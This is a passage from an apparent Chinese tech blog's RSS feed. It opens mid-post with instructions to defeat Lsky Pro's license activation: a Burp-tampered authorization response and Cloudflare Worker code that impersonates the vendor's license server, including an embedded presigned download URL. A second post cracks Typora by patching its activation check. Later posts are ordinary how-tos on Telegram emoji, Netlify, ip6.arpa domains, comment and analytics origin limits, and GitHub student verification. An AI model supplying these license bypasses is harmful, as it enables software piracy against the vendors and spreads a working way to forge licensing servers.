&lt;p&gt;当你通过官方教程到执行 &lt;code&gt;./install.sh&lt;/code&gt; 的时候&lt;/p&gt;
&lt;p&gt;会要求输入域名和授权密钥，域名填你自己的，否则之后上传的图片的预览地址将会不正确！授权密钥随便填！&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/67b17d4c5f5d7ba8d2e2ee348d19bc01c6d42b1d.CNnj3j42.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;回车，会开始转圈圈&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/fb540faa472d476e8d6b05a04d01be5a19adb236.nf5vVcsy.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;查看Burp，发现多了一个请求，首先点击放行&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/8a6dd20b7ad55a9fdad795be358b8486b75de5b7.CmNLLjrV.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;现在出现了响应，并且状态码为401&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/ce862cb4eeefc2a7a52bea44e4e6ab137a7cd3da.orjQGQH4.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;响应那块是可以编辑的，用 https://r2.072103.xyz/lsky_success_223.txt 中的内容替换原响应。然后点击放行&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/b8545b978629815aec471489890a0be62f0a8f89.BlhpRnT3.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;恭喜，通过授权了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/fdda3a54fd4a6da5d0c0c9d5ac0fbd5b79ef2b51.CLnNpX2Z.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;安装完毕后也一样&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/79f0f4645235e7cb3ecbe554cb13295bed326be5.CZsMQOXs.webp&quot; alt=&quot;&quot; /&gt;38dd52c6e.webp)&lt;/p&gt;
&lt;h1&gt;进阶：自建授权服务器&lt;/h1&gt;
&lt;p&gt;可以通过Cloudflare Worker自建授权。感谢一位不愿透露姓名的小伙伴提供的代码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;addEventListener(&apos;fetch&apos;, event =&amp;gt; {
  event.respondWith(handleRequest(event.request));
});

async function handleRequest(request) {
  const jsonContent = `[{&quot;logo&quot;:&quot;products\\/lsky-pro.webp&quot;,&quot;name&quot;:&quot;V 2.2.3&quot;,&quot;version&quot;:&quot;2.2.3&quot;,&quot;changelog&quot;:&quot;### \\u4f18\\u5316\\n- \\u6539\\u8fdb\\u76f8\\u518c\\u5217\\u8868\\u6837\\u5f0f\\n\\n### \\u4fee\\u590d\\n- \\u4fee\\u590d\\u4f7f\\u7528\\u624b\\u673a\\u53f7\\u6ce8\\u518c\\u8d26\\u53f7\\u8981\\u6c42\\u8f93\\u5165\\u90ae\\u7bb1\\u7684 bug\\n- \\u4fee\\u590d\\u72ec\\u7acb\\u9875\\u9762 title \\u663e\\u793a\\u4e0d\\u6b63\\u786e\\u7684 bug&quot;,&quot;pushed_at&quot;:&quot;2025-07-29&quot;,&quot;milestone&quot;:&quot;stable&quot;,&quot;download_url&quot;:&quot;https:\\/\\/dl.huohuastudio.com\\/packages\\/products\\/lsky-pro\\/2.2.3.zip?X-Amz-Content-Sha256=UNSIGNED-PAYLOAD&amp;amp;X-Amz-Algorithm=AWS4-HMAC-SHA256&amp;amp;X-Amz-Credential=d8vF9cr3Wmbu8qHMD3W1%2F20250818%2Fus-west-2%2Fs3%2Faws4_request&amp;amp;X-Amz-Date=20250818T141321Z&amp;amp;X-Amz-SignedHeaders=host&amp;amp;X-Amz-Expires=1800&amp;amp;X-Amz-Signature=40682060b50fa3ee0f520f78418e5f0754277e14e4794f5e283ab4149a6028eb&quot;},{&quot;logo&quot;:&quot;products\\/lsky-pro.webp&quot;,&quot;name&quot;:&quot;V 2.2.2&quot;,&quot;version&quot;:&quot;2.2.2&quot;,&quot;changelog&quot;:&quot;### \\u65b0\\u589e\\n- \\u540e\\u53f0\\u7ba1\\u7406\\u5217\\u8868\\u589e\\u52a0\\u8fc7\\u6ee4\\u5668\\n- \\u652f\\u6301\\u8bbe\\u7f6e\\u9ed8\\u8ba4\\u4e0a\\u4f20\\u50a8\\u5b58\\n- \\u652f\\u6301\\u6279\\u91cf\\u590d\\u5236\\u94fe\\u63a5\\n- \\u652f\\u6301\\u63a7\\u5236\\u5e7f\\u573a\\u662f\\u5426\\u5c55\\u793a\\n\\n### \\u4f18\\u5316\\n- \\u6539\\u8fdb\\u6837\\u5f0f\\n- \\u7f51\\u9875 title \\u6839\\u636e\\u5f53\\u524d\\u83dc\\u5355\\u663e\\u793a\\n- \\u4eea\\u8868\\u76d8\\u589e\\u52a0\\u7edf\\u8ba1\\u5361\\u7247\\n- \\u6539\\u8fdb\\u5e7f\\u573a\\u7684\\u56fe\\u7247\\u5217\\u8868\\u663e\\u793a\\n\\n### \\u4fee\\u590d\\n- \\u4fee\\u590d\\u4f7f\\u7528 libvips \\u9a71\\u52a8\\u65f6\\u4e91\\u5904\\u7406\\u8f93\\u51fa\\u56fe\\u7247\\u8fd8\\u662f\\u4f7f\\u7528 imagick \\u5904\\u7406\\u7684 bug\\n- \\u4fee\\u590d\\u56fe\\u7247\\u5904\\u7406\\u4e2d\\u6c34\\u5370\\u9009\\u62e9\\u5e73\\u53f0\\u540e\\u4fdd\\u5b58\\u63d0\\u793a\\u9700\\u8981\\u9009\\u62e9\\u6c34\\u5370\\u4f4d\\u7f6e\\u7684 bug\\n- \\u4fee\\u590d\\u5220\\...

  const headers = new Headers({
    &apos;Content-Type&apos;: &apos;application/json&apos;,
    &apos;Content-Length&apos;: &apos;30872&apos;,
    &apos;Strict-Transport-Security&apos;: &apos;max-age=31536000&apos;,
    &apos;Alt-Svc&apos;: &apos;h3=&quot;:443&quot;; ma=86400&apos;,
    &apos;Vary&apos;: &apos;Accept-Encoding&apos;,
    &apos;Cache-Control&apos;: &apos;max-age=0, must-revalidate, no-cache, no-store, private&apos;,
    &apos;Pragma&apos;: &apos;no-cache&apos;,
    &apos;Expires&apos;: &apos;Fri, 01 Jan 1990 00:00:00 GMT&apos;,
    &apos;Access-Control-Allow-Origin&apos;: &apos;*&apos;,
    &apos;X-Cache&apos;: &apos;MISS&apos;,
    &apos;Server&apos;: &apos;WAFPRO&apos;
  });

  // 使用当前日期作为响应日期
  const currentDate = new Date().toUTCString();
  headers.set(&apos;Date&apos;, currentDate);

  return new Response(jsonContent, {
    status: 200,
    statusText: &apos;OK&apos;,
    headers: headers
  });
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;自建结束后将 &lt;code&gt;config/app.php&lt;/code&gt; 内的 &lt;code&gt;服务接口地址&lt;/code&gt; 改为你的。就不需要每次安装都手动改响应包了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;    /**
     * 服务接口地址
     */
    &apos;service_api&apos; =&amp;gt; env(&apos;APP_SERVICE_API&apos;, &apos;https://huohuastudio.com&apos;),
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>Typora免付费激活</title><link>https://2x.nz/posts/hack-typora/</link><guid isPermaLink="true">https://2x.nz/posts/hack-typora/</guid><description>Typora是一个简洁易用（？）的MarkDown编辑器，不想交钱？改几行文件就破解！</description><pubDate>Thu, 14 Aug 2025 16:00:00 GMT</pubDate><content:encoded>&lt;p&gt;进入 &lt;a href=&quot;https://typoraio.cn/&quot;&gt;Typora 官方中文站&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;下载并安装，假设你的安装路径为 &lt;code&gt;D:/App/Typora&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;关闭所有Typora相关进程&lt;/p&gt;
&lt;p&gt;用VSCode打开 &lt;code&gt;D:/App/Typora&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;全局搜索，将&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;e.hasActivated=&quot;true&quot;==e.hasActivated
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;改为&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;e.hasActivated=&quot;true&quot;==“true”
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;打开 Typora，已激活&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-20-21-08-22-image.2L-5CWAF.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>atpx.com 一个有趣的神秘博客</title><link>https://2x.nz/posts/atpx-fun-blog/</link><guid isPermaLink="true">https://2x.nz/posts/atpx-fun-blog/</guid><description>今天在床上打滚突然找到一个神秘博客，还挺有意思的</description><pubDate>Wed, 13 Aug 2025 10:41:24 GMT</pubDate><content:encoded>&lt;p&gt;今天偶然找到一个神秘博客，还挺有意思的，于是捐了 100 CNY&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-13-18-48-58-e042214c625c78682e337f4863bdcb20.UkNdBWTh.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;至于是咋找到这个博客的？&lt;/p&gt;
&lt;p&gt;请看VCR&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-13-18-50-12-image.Bp2kJU9y.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后我就发现了这个宝藏博客&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-13-18-50-48-image.Ceij6PMJ.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;也许是封面图比较吸引人又或是文章内容行云流水十分丰富？&lt;/p&gt;
&lt;p&gt;我不知道，总之我看了下去&lt;/p&gt;
&lt;p&gt;陆陆续续读了不少&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-13-18-51-51-image.D-SApQtz.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后发现作者在当前的版本已经完全删除了JavaScript &lt;s&gt;我有一个朋友天天说HTML表单能替代JS&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;也算是引起了共鸣吧&lt;/p&gt;
&lt;p&gt;于情于理都得支持一下&lt;/p&gt;
&lt;p&gt;就到这，我也不知道该写啥了，我是一个喜欢直来直去的人，真文艺不起来了&lt;/p&gt;
</content:encoded></item><item><title>手把手教你进入e站里站（exhentai.org）</title><link>https://2x.nz/posts/exhentai/</link><guid isPermaLink="true">https://2x.nz/posts/exhentai/</guid><description>上周也是突然想到e站这个神奇的网站，但是2年的账号居然进不了里站，这里总结一些进里站的心路历程~</description><pubDate>Tue, 12 Aug 2025 11:10:40 GMT</pubDate><content:encoded>&lt;h1&gt;前期准备&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;欧美家宽IP。可以前往 https://2x.nz/ak 买一个&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-12-19-24-21-image.B2p-mlm8.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;正式开始&lt;/h1&gt;
&lt;p&gt;挂上你的美国家宽梯子&lt;/p&gt;
&lt;p&gt;进入 &lt;a href=&quot;https://forums.e-hentai.org/&quot;&gt;E-Hentai Forums&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;点击 &lt;code&gt;Register&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-12-19-26-33-image.Df8EnbBQ.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;注册邮箱使用 &lt;code&gt;gmail.com&lt;/code&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;exhentai能不能进是账号创建的时候就决定的！一定要让平台认为你是美国家宽用户！&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;注册完毕后等大约一周（我是 2025-08-03注册的，2025-08-12已经可以进了），期间想干什么就干什么&lt;/p&gt;
&lt;p&gt;一周之后，使用 &lt;strong&gt;浏览器的无痕模式+英语界面&lt;/strong&gt; 再次进入 &lt;a href=&quot;https://forums.e-hentai.org/&quot;&gt;E-Hentai Forums&lt;/a&gt; 登录&lt;/p&gt;
&lt;p&gt;然后前往 https://exhentai.org/&lt;/p&gt;
&lt;p&gt;不出意外，成功进来&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-12-19-29-10-image.BKhVf04g.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;接下来F12打开控制台&lt;/p&gt;
&lt;p&gt;保存Ck以便日后登录（就无需那个傻逼美国家宽了）&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-12-19-30-42-image.qwJTZern.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>你是我吗？</title><link>https://2x.nz/posts/you-is-me-huh/</link><guid isPermaLink="true">https://2x.nz/posts/you-is-me-huh/</guid><description>博客开源了就会有很多小笨蛋Fork完改也改不全，导致评论也评论到我这来了，浏览量统计也来我这来了😅</description><pubDate>Tue, 12 Aug 2025 07:43:18 GMT</pubDate><content:encoded>&lt;h1&gt;前情提要&lt;/h1&gt;
&lt;p&gt;今天收到一封小邮件&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-12-15-45-18-image.BQgbrfs_.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;我一眼就看出来了&lt;/p&gt;
&lt;p&gt;有人Fork完我的仓库但是Giscus评论区没改成自己的。&lt;/p&gt;
&lt;h1&gt;Giscus仅允许自己&lt;/h1&gt;
&lt;p&gt;在启用了Giscus的仓库放一个文件&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!-- giscus.json --&amp;gt;
{
  &quot;origins&quot;: [&quot;https://2x.nz&quot;]
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这样设置后，即使有人在它的网站上引入了&lt;strong&gt;你的评论区&lt;/strong&gt;，也会被拒绝显示&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-12-15-48-23-image.DPCWACnQ.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Umami仅允许自己&lt;/h1&gt;
&lt;p&gt;我博客有一个浏览量统计，基于Umami，之前是没鉴权的，如果你啥也不改，访问你的网站也会记到我网站上😅&lt;/p&gt;
&lt;p&gt;Umami并没有给配置来更改CORS（毕竟这个访问量统计是我逆向出来的）&lt;/p&gt;
&lt;p&gt;但是我的Umami套了EO，我可以直接写一套CORS规则仅允许自己调用&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-12-15-50-25-image.C4lZNd0e.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这样的话，即使你啥也不改，也不会把错误的统计信息发到我这，会报错CORS头不允许&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-12-15-51-04-image.Bm0YJmm4.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;最后&lt;/h1&gt;
&lt;p&gt;开源是为了让大家更好的学习我的博客框架，不是让你照搬，请确认将所有内容、API端点、私有服务全部改为自己的后再上线！&lt;/p&gt;
&lt;p&gt;你要是懒可以Fork&lt;a href=&quot;https://github.com/saicaca/fuwari&quot;&gt;上游原仓库&lt;/a&gt;从白纸开始&lt;a href=&quot;/posts/fuwari/&quot;&gt;改&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>教你制作自己的Telegram Emoji！</title><link>https://2x.nz/posts/tg-emoji/</link><guid isPermaLink="true">https://2x.nz/posts/tg-emoji/</guid><description>欧呦不赖，开了个大会员终于可以戴上Netlify的表情咯~</description><pubDate>Mon, 11 Aug 2025 13:22:46 GMT</pubDate><content:encoded>&lt;h1&gt;正式开始&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;本文讲述的是添加TG的Emoji，不是贴纸！！！&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;准备若干张 PNG或WEBP，100x100 px的图片&lt;/p&gt;
&lt;p&gt;然后找到 @Stickers&lt;/p&gt;
&lt;p&gt;发送 &lt;code&gt;/newemojipack&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-11-21-28-30-image.CuUbuTXK.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这里使用静态表情，即 &lt;code&gt;static&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-11-21-28-53-image.Ck4l2KMz.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;接下来随便起个名字，我这里就叫 &lt;code&gt;Logo&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;然后发送你的图片&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-11-21-29-20-image.B7D_ygKW.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;接下来发送一个能代表你表情的Emoji，并且发布&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-11-21-30-19-image.BBbC5GJc.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后设置一个 &lt;code&gt;pathname&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-11-21-30-37-image.B-PwO08F.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;点击上面的链接就可以添加咯~&lt;/p&gt;
&lt;p&gt;如果你是Telegram Premium，还可以挂在昵称旁边哦~&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-11-21-31-21-image.CBFRs4F7.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>认证为Folo的创作者</title><link>https://2x.nz/posts/folo-verification/</link><guid isPermaLink="true">https://2x.nz/posts/folo-verification/</guid><description>Folo是一个RSS聚合平台，在上面不仅可以订阅很多优质的RSS源，也可以认领自己的RSS源</description><pubDate>Sun, 10 Aug 2025 13:26:55 GMT</pubDate><content:encoded>&lt;h1&gt;这是啥？&lt;/h1&gt;
&lt;p&gt;这是一篇Folo认证文章，用于认证本RSS归属于我&lt;/p&gt;
&lt;p&gt;Zola：&lt;/p&gt;
&lt;p&gt;This message is used to verify that this feed (feedId:154118531036739584) belongs to me (userId:165740980096046080). Join me in enjoying the next generation information browser https://folo.is.&lt;/p&gt;
&lt;p&gt;Fuwari：&lt;/p&gt;
&lt;p&gt;This message is used to verify that this feed (feedId:180993728847509504) belongs to me (userId:165740980096046080). Join me in enjoying the next generation information browser https://folo.is.&lt;/p&gt;
&lt;p&gt;blog.acofork.com&lt;/p&gt;
&lt;p&gt;This message is used to verify that this feed (feedId:236818461447222272) belongs to me (userId:165740980096046080). Join me in enjoying the next generation information browser https://folo.is.&lt;/p&gt;
&lt;p&gt;2x.nz
This message is used to verify that this feed (feedId:245004133358075904) belongs to me (userId:165740980096046080). Join me in enjoying the next generation information browser https://folo.is.&lt;/p&gt;
&lt;h1&gt;我要怎么认证？&lt;/h1&gt;
&lt;p&gt;首先 你得有一个博客，或者说一个有RSS的网站&lt;/p&gt;
&lt;p&gt;比如 2x.nz/rss.xml&lt;/p&gt;
&lt;p&gt;接下来在Folo处点击认证 https://folo.is&lt;/p&gt;
&lt;p&gt;会弹出一个内容，要求让你放置到RSS&lt;/p&gt;
&lt;p&gt;最简单的方法就是像我这样新建一篇文章，然后原封不动粘贴这段话，然后认证即可&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-10-21-31-04-image.BIGceUzZ.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>有自己的开源项目？来申请Netlify的Open Source计划！</title><link>https://2x.nz/posts/netlify-oss/</link><guid isPermaLink="true">https://2x.nz/posts/netlify-oss/</guid><description>昨天在乱翻Netlify的网站，突然发现了一个开源计划的申请入口，故申请，没想到今天就通过了😋</description><pubDate>Fri, 08 Aug 2025 16:00:01 GMT</pubDate><content:encoded>&lt;h1&gt;正式开始&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;[! WARNING]&lt;/p&gt;
&lt;p&gt;Netlify OSS计划不受理个人博客&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;确保你有一个开源项目，并且已经托管在了Netlify，Github的也有你网站的链接
&lt;img src=&quot;https://2x.nz/_astro/2025-08-09-12-30-32-image.BdNxm-Fs.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;前往 https://opensource-form.netlify.com/&lt;/p&gt;
&lt;p&gt;填写相关信息，提交。&lt;/p&gt;
&lt;p&gt;我是这样写的&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Open Source Team Application
Applicant Name: no name provided
Applicant Email: acofork@gmail.com
Project Name: afoim/fuwari
Proof of Contributors:
Code of Conduct URL: https://2x.nz
Project License URL: MIT license
Netlify Site URL: https://2x.nz/posts/static-web/#netlify
Notes:
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-09-05-17-05-image.D2uOuYTW.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;一天后收到已开通 &lt;code&gt;Open Source&lt;/code&gt; 计划的邮件。如果没有通过也没关系，你可以直接回复这封邮件，带上你的疑问，注意使用英文&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-09-05-17-36-image.Dwy69oIi.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;账户也自动从 &lt;code&gt;Starter&lt;/code&gt; 升级到了 &lt;code&gt;Open Source&lt;/code&gt; 计划&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-09-05-18-12-image.CLoonI2c.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>IPv6反解域名是什么？嫩长一坨还能托管到Cloudflare？SSL签发也没问题？</title><link>https://2x.nz/posts/ip6-arpa/</link><guid isPermaLink="true">https://2x.nz/posts/ip6-arpa/</guid><description>你是否见过类似 e.b.9.f.0.7.4.0.1.0.0.2.ip6.arpa 这样的域名，今天就教你搞一个！</description><pubDate>Fri, 08 Aug 2025 16:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;这是什么&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;以下内容来自GPT-5&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;这是一个 &lt;strong&gt;IPv6 反向解析（Reverse DNS）域名&lt;/strong&gt;，遵循 &lt;code&gt;ip6.arpa&lt;/code&gt; 格式。&lt;br /&gt;
它是把 IPv6 地址每个十六进制数字倒序排列，加上 &lt;code&gt;.ip6.arpa&lt;/code&gt; 后缀，用于 DNS 反查时将域名解析回原 IPv6 地址。&lt;/p&gt;
&lt;h1&gt;将 x.x.x.x.x.x.x.x.x.x.x.x.ip6.arpa 弄到手&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;视频教程： https://www.bilibili.com/video/BV1q8tBzsEPi/&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;前往 &lt;a href=&quot;https://tunnelbroker.net/&quot;&gt;Hurricane Electric Free IPv6 Tunnel Broker&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;注册一个账号（需要用域名邮箱）&lt;/p&gt;
&lt;p&gt;创建隧道。需要一台启用了ICMP信令的VPS&lt;/p&gt;
&lt;p&gt;填上IP后，TunnelBroker会向其发送Ping请求&lt;/p&gt;
&lt;p&gt;如果TunnelBroker收到了回应，并且该IP没有被其他隧道绑定，就会弹出绿色，可绑定的标志&lt;/p&gt;
&lt;p&gt;如果该IP曾被绑定，则需要进行HTTP验证&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-09-04-53-04-image.CKi4P6P3.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;进入这个页面，查看TunnelBroker为你分配的路由IPv6&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-09-04-55-24-image.DCoRqeLW.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;以 &lt;code&gt;2001:470:24:386::/64&lt;/code&gt; 为例&lt;/p&gt;
&lt;p&gt;首先加0，每项4位，通过 &lt;code&gt;:&lt;/code&gt; 分割，则为 &lt;code&gt;2001047000240386&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;然后倒过来，则为 &lt;code&gt;6830420007401002&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;最后，加上 &lt;code&gt;.&lt;/code&gt; 和 &lt;code&gt;.ip6.arpa&lt;/code&gt; ，则为 &lt;code&gt;6.8.3.0.4.2.0.0.0.7.4.0.1.0.0.2.ip6.arpa&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;将其添加到Cloudflare&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-09-04-59-05-image.DycTslJI.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;查看Cloudflare要求你设置的NS服务器&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-09-04-59-25-image.CNbeaChg.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;回到TunnelBroker进行设置&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-09-04-59-49-image.BfTqQevB.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;等待域被激活即可&lt;/p&gt;
&lt;h1&gt;为其签发SSL&lt;/h1&gt;
&lt;p&gt;默认 ipra 无法签发SSL，因为会被大部分SSL提供商拒签&lt;/p&gt;
&lt;p&gt;将Cloudflare SSL提供商改为 SSL.COM 可以解决这个问题&lt;/p&gt;
&lt;p&gt;获取必要信息，发起更改SSL提供商请求&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl --location --request PATCH &apos;https://api.cloudflare.com/client/v4/zones/&amp;lt;zone_id&amp;gt;/ssl/universal/settings&apos; --header &apos;X-Auth-Email: 你的CF注册邮箱&apos; --header &apos;X-Auth-Key: 你的CF全局APIKey&apos; --header &apos;Content-Type: application/json&apos; --data-raw &apos;{&quot;enabled&quot;:true,&quot;certificate_authority&quot;:&quot;ssl_com&quot;}&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;稍等片刻，CF会自动使用新的SSL提供商签发SSL&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-09-05-07-40-image.Ny7G84eH.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;局限性&lt;/h1&gt;
&lt;p&gt;本人测试，如果您自己创建SSL.COM的账户尝试签发SSL会拒签。故该域名仅能在Cloudflare CDN下使用&lt;/p&gt;
</content:encoded></item><item><title>Github学生认证 + GitHub Education福利大全</title><link>https://2x.nz/posts/github-edu/</link><guid isPermaLink="true">https://2x.nz/posts/github-edu/</guid><description>Github学生认证教程，以及通过验证后可领取的各种免费福利，包括免费域名等！</description><pubDate>Thu, 07 Aug 2025 16:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Github学生认证教程&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;视频： https://www.bilibili.com/video/BV1kAtrzzEkG&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;确保你是个学生&lt;/p&gt;
&lt;p&gt;并且拥有 &lt;strong&gt;学生证、录取通知书、毕业证&lt;/strong&gt; 中的其中一种（我使用录取通知书）&lt;/p&gt;
&lt;p&gt;首先来到 &lt;a href=&quot;https://github.com/settings/billing/payment_information&quot;&gt;Payment Information&lt;/a&gt; 确保是你的真实信息，并且姓名使用拼音&lt;/p&gt;
&lt;p&gt;如果不是，请进行更改，然后&lt;strong&gt;一定要重登Github！&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-08-01-03-14-image.BSFosgV-.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;接下来前往 &lt;a href=&quot;https://github.com/settings/education/benefits&quot;&gt;GitHub · Where software is built&lt;/a&gt; 推荐使用校园网或者流量&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-08-01-05-18-image.DivgBpYk.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;按需选&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-08-01-06-02-image.mzSh-rsH.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这里拍照注意！如果你的证件没有英文版的，请不要直接拍原件&lt;/p&gt;
&lt;p&gt;找个记事本手动翻译一下&lt;/p&gt;
